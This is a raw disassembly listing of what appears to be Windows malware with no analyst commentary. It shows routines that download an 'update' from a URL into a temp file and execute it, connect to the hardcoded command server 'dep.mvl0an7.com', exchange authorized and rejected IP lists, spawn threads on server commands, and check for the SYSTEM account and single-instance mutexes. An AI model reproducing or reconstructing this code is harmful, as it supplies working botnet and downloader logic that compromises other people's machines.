		mov	esp, ebp
		pop	ebp
		retn
sub_4442A3	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi


loc_4444EE:				; CODE XREF: DMN1:loc_44457Cj
		xor	ebx, ebx
		inc	ebx


loc_4444F1:				; CODE XREF: DMN1:00444500j
		push	0EA60h
		call	dword_411D00	; Sleep
		inc	ebx
		cmp	ebx, 3Fh
		jl	short loc_4444F1
		call	sub_444094
		mov	edi, eax
		mov	eax, dword_411010
		mov	si, ax
		movzx	eax, si
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	edi
		call	sub_4442A3
		add	esp, 0Ch
		mov	si, ax
		test	si, si
		jz	short loc_44454E
		movzx	eax, si
		cmp	eax, dword_411010
		jz	short loc_44454E
		movzx	eax, si
		mov	dword_411010, eax
		push	1
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange


loc_44454E:				; CODE XREF: DMN1:0044452Cj
					; DMN1:00444537j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_443A83
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_44457C
		mov	eax, dword_41100C
		cmp	dword_411010, eax
		jz	short loc_44457C
		push	1
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange


loc_44457C:				; CODE XREF: DMN1:00444560j
					; DMN1:0044456Dj
		jmp	loc_4444EE
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444585	proc near		; CODE XREF: sub_447672+77p
		push	ebx
		cmp	dword_411018, 0
		jz	short loc_444593
		xor	eax, eax
		jmp	short loc_4445D7
; ---------------------------------------------------------------------------


loc_444593:				; CODE XREF: sub_444585+8j
		xor	ebx, ebx
		push	offset a__win32__nts_s ; "__win32__nts_sdm__"
		push	0
		push	0
		call	dword_411D08	; CreateMutexA
		mov	dword_411018, eax
		cmp	dword_411018, 0
		jz	short loc_4445D5
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_4445D5
		xor	ebx, ebx
		inc	ebx
		push	dword_411018
		call	dword_411CF8	; CloseHandle
		and	dword_411018, 0


loc_4445D5:				; CODE XREF: sub_444585+2Bj
					; sub_444585+38j
		mov	eax, ebx


loc_4445D7:				; CODE XREF: sub_444585+Cj
		pop	ebx
		retn
sub_444585	endp


; =============== S U B	R O U T	I N E =======================================



sub_4445D9	proc near		; CODE XREF: DMN1:loc_444F6Bp
					; DMN1:00445010p ...
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a__win32__nts_s ; "__win32__nts_sdm__"
		push	0
		push	100000h
		call	dword_411D0C	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_444601
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8	; CloseHandle
		xor	ebx, ebx


loc_444601:				; CODE XREF: sub_4445D9+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4445D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_444606	proc near		; CODE XREF: sub_447672+C5p
		cmp	dword_411018, 0
		jz	short locret_444622
		push	dword_411018
		call	dword_411CF8	; CloseHandle
		and	dword_411018, 0

locret_444622:				; CODE XREF: sub_444606+7j
		retn
sub_444606	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmp	dword_41101C, 0
		jz	short loc_444631
		xor	eax, eax
		jmp	short loc_444675
; ---------------------------------------------------------------------------


loc_444631:				; CODE XREF: DMN1:0044462Bj
		xor	ebx, ebx
		push	offset a_win32__nts_sm ; "_win32__nts_sm__"
		push	0
		push	0
		call	dword_411D08	; CreateMutexA
		mov	dword_41101C, eax
		cmp	dword_41101C, 0
		jz	short loc_444673
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_444673
		xor	ebx, ebx
		inc	ebx
		push	dword_41101C
		call	dword_411CF8	; CloseHandle
		and	dword_41101C, 0


loc_444673:				; CODE XREF: DMN1:0044464Ej
					; DMN1:0044465Bj
		mov	eax, ebx


loc_444675:				; CODE XREF: DMN1:0044462Fj
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444677	proc near		; CODE XREF: DMN1:0044740Fp
					; DMN1:loc_447599p
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__nts_sm ; "_win32__nts_sm__"
		push	0
		push	100000h
		call	dword_411D0C	; OpenMutexA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_44469F
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8	; CloseHandle
		xor	ebx, ebx


loc_44469F:				; CODE XREF: sub_444677+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_444677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4446A4	proc near		; CODE XREF: DMN1:00444A89p
					; sub_447672+FBp ...

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_4446BC
		and	dword ptr [esi], 0


loc_4446BC:				; CODE XREF: sub_4446A4+13j
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		test	ebx, ebx
		jz	short loc_4446EC
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		jmp	short loc_4446F3
; ---------------------------------------------------------------------------


loc_4446EC:				; CODE XREF: sub_4446A4+31j
		mov	[ebp+var_844], 0


loc_4446F3:				; CODE XREF: sub_4446A4+46j
		cmp	[ebp+arg_0], 0
		jz	short loc_44470C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		jmp	short loc_44471F
; ---------------------------------------------------------------------------


loc_44470C:				; CODE XREF: sub_4446A4+53j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_44471F:				; CODE XREF: sub_4446A4+66j
		test	ebx, ebx
		jz	short loc_444736
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_444736:				; CODE XREF: sub_4446A4+7Dj
		cmp	[ebp+arg_4], 0
		jz	short loc_444760
		push	offset asc_40EDB2 ; " "
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_444760:				; CODE XREF: sub_4446A4+96j
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10	; CreateProcessA
		test	eax, eax
		jz	short loc_4447B3
		push	[ebp+var_850]
		call	dword_411CF8	; CloseHandle
		test	esi, esi
		jz	short loc_4447A4
		mov	eax, [ebp+var_854]
		mov	[esi], eax
		jmp	short loc_4447B0
; ---------------------------------------------------------------------------


loc_4447A4:				; CODE XREF: sub_4446A4+F4j
		push	[ebp+var_854]
		call	dword_411CF8	; CloseHandle


loc_4447B0:				; CODE XREF: sub_4446A4+FEj
		xor	eax, eax
		inc	eax


loc_4447B3:				; CODE XREF: sub_4446A4+E4j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4446A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4447B9	proc near		; CODE XREF: DMN1:00444980p

var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	0
		push	1
		push	offset aMsdownloader ; "msdownloader"
		call	dword_411EF0	; InternetOpenA
		mov	edi, eax
		push	edi
		push	offset aInternetopenI ;	"InternetOpen(): %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	edi, edi
		jnz	short loc_4447F2
		xor	eax, eax
		jmp	loc_444914
; ---------------------------------------------------------------------------


loc_4447F2:				; CODE XREF: sub_4447B9+30j
		push	0
		push	80080300h
		push	0
		push	0
		push	[ebp+arg_0]
		push	edi
		call	dword_411EF4	; InternetOpenUrlA
		mov	ebx, eax
		push	edi
		push	offset aInternetopenur ; "InternetOpenUrl(): %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_444828
		push	edi
		call	dword_411EF8	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_444914
; ---------------------------------------------------------------------------


loc_444828:				; CODE XREF: sub_4447B9+5Fj
		push	offset aWb_0	; "wb"
		push	[ebp+arg_4]
		call	sub_448281
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jnz	short loc_444861
		push	[ebp+arg_4]
		push	offset aFopenS___ ; "fopen(%s)...\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_411EF8	; InternetCloseHandle
		push	edi
		call	dword_411EF8	; InternetCloseHandle
		xor	eax, eax
		jmp	loc_444914
; ---------------------------------------------------------------------------


loc_444861:				; CODE XREF: sub_4447B9+82j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadingSS ;	"downloading [%s] --> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	0
		call	dword_411D14	; RtlRestoreLastWin32Error
		jmp	short loc_444899
; ---------------------------------------------------------------------------


loc_44487E:				; CODE XREF: sub_4447B9+F9j
		cmp	[ebp+var_4], 0
		jz	short loc_4448B4
		push	esi
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_4486E1
		add	esp, 10h


loc_444899:				; CODE XREF: sub_4447B9+C3j
		lea	eax, [ebp+var_4]
		push	eax
		push	3FFh
		lea	eax, [ebp+var_404]
		push	eax
		push	ebx
		call	dword_411EFC	; InternetReadFile
		test	eax, eax
		jnz	short loc_44487E


loc_4448B4:				; CODE XREF: sub_4447B9+C9j
		call	dword_411CE8	; RtlGetLastWin32Error
		mov	[ebp+var_408], eax
		push	esi
		call	sub_4484E1
		pop	ecx
		push	ebx
		call	dword_411EF8	; InternetCloseHandle
		push	edi
		call	dword_411EF8	; InternetCloseHandle
		cmp	[ebp+var_408], 0
		jz	short loc_4448FE
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	[ebp+arg_4]
		call	dword_411D18	; DeleteFileA
		xor	eax, eax
		jmp	short loc_444914
; ---------------------------------------------------------------------------


loc_4448FE:				; CODE XREF: sub_4447B9+123j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset aDownloadedSS ; "downloaded [%s]	--> %s\r\n"
		call	nullsub_4
		add	esp, 0Ch
		xor	eax, eax
		inc	eax


loc_444914:				; CODE XREF: sub_4447B9+34j
					; sub_4447B9+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4447B9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 3400h
		call	sub_4486B1
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+8]
		mov	byte ptr [ebp-2400h], 0
		mov	byte ptr [ebp-1000h], 0
		mov	esi, ebx
		push	esi
		push	offset aUpdateUrlS ; "UPDATE URL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp-3400h]
		push	eax
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		lea	eax, [ebp-2400h]
		push	eax
		push	0
		push	offset aMsss	; "msss"
		lea	eax, [ebp-3400h]
		push	eax
		call	dword_411D20	; GetTempFileNameA
		lea	eax, [ebp-2400h]
		push	eax
		push	esi
		call	sub_4447B9
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_444AA2
		lea	eax, [ebp-2400h]
		push	eax
		push	offset aDownloadedToS ;	"downloaded to:	<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp-3400h]
		push	eax
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		lea	eax, [ebp-1000h]
		push	eax
		push	0
		push	offset aMsssx	; "msssx"
		lea	eax, [ebp-3400h]
		push	eax
		call	dword_411D20	; GetTempFileNameA
		mov	edi, dword_4128A4
		push	0
		lea	eax, [ebp-1000h]
		push	eax
		push	edi
		call	dword_411D24	; CopyFileA
		test	eax, eax
		jz	loc_444AA2
		push	80h
		lea	eax, [ebp-1000h]
		push	eax
		call	dword_411D28	; SetFileAttributesA
		push	offset aUpdate	; "*update \""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		lea	eax, [ebp-2400h]
		push	eax
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset asc_40ECD5 ; "\"	\""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	edi
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp-1400h]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		lea	eax, [ebp-1400h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		push	offset aRunningSS___ ; "running	%s (%s)...\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	0
		push	1
		lea	eax, [ebp-1400h]
		push	eax
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_4446A4
		add	esp, 10h
		test	eax, eax
		jz	short loc_444AA2


loc_444A95:				; CODE XREF: DMN1:00444AA0j
		push	1770h
		call	dword_411D00	; Sleep
		jmp	short loc_444A95
; ---------------------------------------------------------------------------


loc_444AA2:				; CODE XREF: DMN1:00444989j
					; DMN1:004449E7j ...
		push	0
		push	offset dword_411014
		call	dword_411D04	; InterlockedExchange
		lea	eax, [ebp-2400h]
		push	eax
		call	sub_4485D1
		pop	ecx
		test	eax, eax
		jz	short loc_444ACD
		lea	eax, [ebp-2400h]
		push	eax
		call	dword_411D18	; DeleteFileA


loc_444ACD:				; CODE XREF: DMN1:00444ABEj
		lea	eax, [ebp-1000h]
		push	eax
		call	sub_4485D1
		pop	ecx
		test	eax, eax
		jz	short loc_444AEB
		lea	eax, [ebp-1000h]
		push	eax
		call	dword_411D18	; DeleteFileA


loc_444AEB:				; CODE XREF: DMN1:00444ADCj
		push	ebx
		call	sub_441FF7
		pop	ecx
		call	sub_448921
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444AFF	proc near		; CODE XREF: DMN1:loc_444D95p
		xor	ecx, ecx
		mov	eax, ecx
		retn
sub_444AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_444B04	proc near		; CODE XREF: DMN1:00444CFBp
					; DMN1:00444D0Dp
		xor	eax, eax
		retn
sub_444B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444B07	proc near		; CODE XREF: DMN1:00444E86p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		xor	esi, esi
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		cmp	[ebp+arg_8], 0
		jnz	short loc_444B2F
		push	dword_412934
		call	sub_442F1C
		pop	ecx


loc_444B2F:				; CODE XREF: sub_444B07+1Aj
		mov	esi, [ebp+arg_0]
		mov	eax, ebx
		mov	ecx, 4
		cdq
		idiv	ecx
		mov	ebx, eax
		jmp	short loc_444B77
; ---------------------------------------------------------------------------


loc_444B40:				; CODE XREF: sub_444B07+72j
		push	0
		push	dword ptr [esi]
		push	dword_412934
		call	sub_442FCA
		add	esp, 0Ch
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		push	eax
		mov	eax, dword_412934
		push	dword ptr [eax+8]
		push	offset aAuthorizedIpIS ; "authorized IP	#%i [%s]\n"
		call	nullsub_4
		add	esp, 0Ch
		dec	ebx
		add	esi, 4


loc_444B77:				; CODE XREF: sub_444B07+37j
		test	ebx, ebx
		jg	short loc_444B40
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		xor	eax, eax
		inc	eax
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_444B07	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	edi
		mov	ecx, [esp+0Ch]
		mov	ebx, [esp+10h]
		xor	edi, edi
		jmp	short loc_444BA9
; ---------------------------------------------------------------------------


loc_444B9D:				; CODE XREF: DMN1:00444BB3j
		mov	eax, [ebx+4]
		mov	[ecx], eax
		mov	ebx, [ebx+8]
		add	ecx, 4
		inc	edi


loc_444BA9:				; CODE XREF: DMN1:00444B9Bj
		cmp	edi, 4000h
		jge	short loc_444BB5
		test	ebx, ebx
		jnz	short loc_444B9D


loc_444BB5:				; CODE XREF: DMN1:00444BAFj
		mov	edx, [esp+14h]
		mov	[edx], edi
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		push	offset dword_41285C
		call	dword_411CCC	; RtlEnterCriticalSection
		push	dword_412934
		call	sub_442F1C
		pop	ecx
		push	offset dword_41285C
		call	dword_411CD0	; RtlLeaveCriticalSection
		push	offset aDep_mvl0an7_co ; "dep.mvl0an7.com"
		call	sub_44273F
		pop	ecx
		mov	[ebp-14h], eax
		test	eax, eax
		jz	short loc_444C08
		cmp	eax, 0FFFFFFFFh
		jz	short loc_444C08
		test	eax, eax
		jnz	short loc_444C0D


loc_444C08:				; CODE XREF: DMN1:00444BFBj
					; DMN1:00444C02j
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444C0D:				; CODE XREF: DMN1:00444C06j
		mov	word ptr [ebp-16h], 24A2h
		xor	esi, esi
		and	dword ptr [ebp-0Ch], 0
		push	0
		push	offset dword_411024
		call	dword_411D04	; InterlockedExchange
		cmp	dword_411004, 0
		jnz	short loc_444C4B
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_44335D
		pop	ecx
		pop	ecx
		mov	dword_411004, eax


loc_444C4B:				; CODE XREF: DMN1:00444C2Dj
		movzx	eax, word ptr dword_41100C
		push	eax
		movzx	eax, word ptr dword_411010
		push	eax
		call	sub_4433CA
		pop	ecx
		pop	ecx
		push	dword_411010
		push	offset aMyPortI	; "my port [%i]\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	eax, [ebp-14h]
		mov	[ebp-1Ch], eax
		push	eax
		call	sub_447CA1	; inet_ntoa
		mov	[ebp-20h], eax
		movzx	eax, word ptr [ebp-16h]
		push	eax
		push	dword ptr [ebp-20h]
		push	offset aSrvSI	; "SRV:	[%s:%i]\n"
		call	nullsub_4
		add	esp, 0Ch
		and	dword ptr [ebp-10h], 0
		call	sub_4422DA
		mov	[ebp-10h], eax
		test	eax, eax
		jz	loc_444F3A
		push	dword ptr [ebp-10h]
		call	sub_442944
		pop	ecx
		mov	esi, eax
		push	offset aSrvConnecting_ ; "SRV: connecting...\n"
		call	nullsub_4
		pop	ecx
		movzx	eax, word ptr [ebp-16h]
		push	eax
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-10h]
		call	sub_4424E8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_444CE9
		push	offset aSrvConnectingF ; "SRV: connecting failed.\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444CE9:				; CODE XREF: DMN1:00444CD7j
		push	offset aSrvHandshaki_0 ; "SRV: handshaking...\n"
		call	nullsub_4
		pop	ecx
		mov	dword ptr [ebp-24h], 1000h
		call	sub_444B04
		push	eax
		push	offset aSrvRip?I ; "SRV: rip? %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_444B04
		test	eax, eax
		jz	short loc_444D1A
		or	dword ptr [ebp-24h], 1


loc_444D1A:				; CODE XREF: DMN1:00444D14j
		push	dword ptr [ebp-24h]
		movzx	eax, word ptr dword_411010
		push	eax
		push	esi
		call	sub_442CF7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_444D42
		push	offset aSrvHandshaking ; "SRV: handshaking failed.\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444D42:				; CODE XREF: DMN1:00444D30j
		push	offset byte_40EBFB
		call	nullsub_4
		pop	ecx
		push	esi
		call	sub_442ED2
		pop	ecx
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_444D6B
		push	offset aSrvAckHandshac ; "SRV: ACK handshacking	failed\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444D6B:				; CODE XREF: DMN1:00444D59j
		test	byte ptr [ebp-24h], 1
		jz	loc_444E22
		push	offset aSrvSendingReje ; "* SRV: sending rejected IPs\n"
		call	nullsub_4
		pop	ecx
		push	10004h
		call	sub_441FC9
		pop	ecx
		mov	[ebp-30h], eax
		mov	[ebp-2Ch], eax
		and	dword ptr [ebp-28h], 0


loc_444D95:				; CODE XREF: DMN1:00444DB8j
		call	sub_444AFF
		mov	edi, eax
		test	edi, edi
		jz	short loc_444DBA
		mov	edx, [ebp-2Ch]
		mov	[edx], edi
		mov	eax, [ebp-2Ch]
		add	eax, 4
		mov	[ebp-2Ch], eax
		inc	dword ptr [ebp-28h]
		cmp	dword ptr [ebp-28h], 3FFFh
		jl	short loc_444D95


loc_444DBA:				; CODE XREF: DMN1:00444D9Ej
		mov	eax, [ebp-28h]
		add	eax, eax
		add	eax, eax
		push	eax
		push	dword ptr [ebp-30h]
		push	100h
		push	esi
		call	sub_442B10
		add	esp, 10h
		test	eax, eax
		jnz	short loc_444DF0
		push	dword ptr [ebp-30h]
		call	sub_441FF7
		pop	ecx
		push	offset sub_40EB9E
		call	nullsub_4
		pop	ecx
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444DF0:				; CODE XREF: DMN1:00444DD5j
		push	dword ptr [ebp-30h]
		call	sub_441FF7
		pop	ecx
		push	offset aSrvAckRejected ; "SRV: ACK rejected IPs\n"
		call	nullsub_4
		pop	ecx
		push	esi
		call	sub_442ED2
		pop	ecx
		mov	[ebp-8], eax
		test	eax, eax
		jz	short loc_444E22
		push	offset aSrvAckReject_0 ; "SRV: ACK rejected IPs	failed\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444E22:				; CODE XREF: DMN1:00444D6Fj
					; DMN1:00444E10j ...
		push	0FFFFh
		push	0
		lea	eax, [ebp-2]
		push	eax
		push	esi
		call	sub_442CDC
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_444F3A
		movzx	eax, word ptr [ebp-2]
		mov	[ebp-28h], eax
		cmp	eax, 200h
		jz	short loc_444E61
		cmp	eax, 201h
		jz	short loc_444EA2
		cmp	eax, 202h
		jz	short loc_444E71
		jmp	loc_444F35
; ---------------------------------------------------------------------------


loc_444E61:				; CODE XREF: DMN1:00444E4Cj
		push	offset byte_40EB5F
		call	nullsub_4
		pop	ecx
		jmp	loc_444F3A
; ---------------------------------------------------------------------------


loc_444E71:				; CODE XREF: DMN1:00444E5Aj
		push	offset word_40EB52
		call	nullsub_4
		pop	ecx
		push	dword ptr [ebp-0Ch]
		push	ebx
		push	dword ptr [esi+470h]
		call	sub_444B07
		add	esp, 0Ch
		test	eax, eax
		jz	loc_444F35
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_444F35
; ---------------------------------------------------------------------------


loc_444EA2:				; CODE XREF: DMN1:00444E53j
		test	ebx, ebx
		jnz	short loc_444EAF
		mov	edx, [esi+470h]
		mov	byte ptr [edx],	0


loc_444EAF:				; CODE XREF: DMN1:00444EA4j
		push	dword ptr [esi+470h]
		push	offset sub_40EB3F
		call	nullsub_4
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jz	short loc_444F35
		push	dword ptr [esi+470h]
		call	sub_4485D1
		pop	ecx
		test	eax, eax
		jz	short loc_444F35
		push	0
		push	offset dword_411014
		call	dword_411D2C	; InterlockedExchangeAdd
		test	eax, eax
		jnz	short loc_444F35
		push	1
		push	offset dword_411014
		call	dword_411D04	; InterlockedExchange
		push	10000h
		call	sub_441FC9
		pop	ecx
		mov	[ebp-2Ch], eax
		push	dword ptr [esi+470h]
		push	dword ptr [ebp-2Ch]
		call	sub_4485F1
		pop	ecx
		pop	ecx
		push	offset sub_40EB25
		call	nullsub_4
		pop	ecx
		push	dword ptr [ebp-2Ch]
		push	0
		push	offset sub_40399A
		call	sub_448891
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle


loc_444F35:				; CODE XREF: DMN1:00444E5Cj
					; DMN1:00444E90j ...
		jmp	loc_444E22
; ---------------------------------------------------------------------------


loc_444F3A:				; CODE XREF: DMN1:loc_444C08j
					; DMN1:00444CA6j ...
		test	esi, esi
		jz	short loc_444F45
		push	esi
		call	sub_4429BC
		pop	ecx


loc_444F45:				; CODE XREF: DMN1:00444F3Cj
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_444F54
		push	dword ptr [ebp-10h]
		call	sub_442443
		pop	ecx


loc_444F54:				; CODE XREF: DMN1:00444F49j
		push	offset aSrvcommthreadD ; "SrvCommThread: done\n"
		call	nullsub_4
		pop	ecx
		call	sub_448921
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_444F6B:				; CODE XREF: DMN1:00444F8Cj
		call	sub_4445D9
		test	eax, eax
		jz	short loc_444F81
		call	sub_445FED
		push	0
		call	dword_411D30	; ExitProcess


loc_444F81:				; CODE XREF: DMN1:00444F72j
		push	3E8h
		call	dword_411D00	; Sleep
		jmp	short loc_444F6B
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-4], 0


loc_444F9A:				; CODE XREF: DMN1:00445033j
		push	0
		push	0
		push	offset sub_403C3F
		call	sub_448891
		add	esp, 0Ch
		mov	esi, eax
		push	0FFFFFFFFh
		mov	eax, esi
		push	eax
		call	dword_411D34	; WaitForSingleObject
		mov	eax, esi
		push	eax
		call	dword_411CF8	; CloseHandle
		cmp	dword_411030, 0
		jz	short loc_445038
		lea	eax, [ebp-4]
		push	eax
		call	sub_441F82
		pop	ecx
		mov	ecx, 3Ch
		cdq
		idiv	ecx
		lea	eax, [edx+6EAh]
		mov	edi, eax
		push	edi
		push	offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	ebx, edi
		jmp	short loc_44501B
; ---------------------------------------------------------------------------


loc_444FF5:				; CODE XREF: DMN1:0044501Dj
		push	ebx
		push	offset aISecondsLeft_ ;	"\r%i seconds left   \b\b\b."
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	7D0h
		call	dword_411D00	; Sleep
		sub	ebx, 2
		call	sub_4445D9
		test	eax, eax
		jz	short loc_44501B
		xor	ebx, ebx


loc_44501B:				; CODE XREF: DMN1:00444FF3j
					; DMN1:00445017j
		test	ebx, ebx
		jg	short loc_444FF5
		push	offset asc_40EAC3 ; "\r			     \r"
		call	nullsub_4
		pop	ecx
		cmp	dword_411030, 0
		jz	short loc_445038
		jmp	loc_444F9A
; ---------------------------------------------------------------------------


loc_445038:				; CODE XREF: DMN1:00444FC8j
					; DMN1:00445031j
		call	sub_448921
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445044	proc near		; CODE XREF: sub_447672+3DFp
					; sub_447672+488p ...

var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	[ebp+var_44], 3Fh
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_411E40	; GetUserNameA
		test	eax, eax
		jz	short loc_44508B
		cmp	[ebp+var_44], 6
		jnb	short loc_44506D
		xor	eax, eax
		jmp	short loc_44508B
; ---------------------------------------------------------------------------


loc_44506D:				; CODE XREF: sub_445044+23j
		mov	[ebp+var_1], 0
		lea	eax, [ebp+var_40]
		push	eax
		push	offset aSystem	; "SYSTEM"
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jz	short loc_445088
		xor	eax, eax
		jmp	short loc_44508B
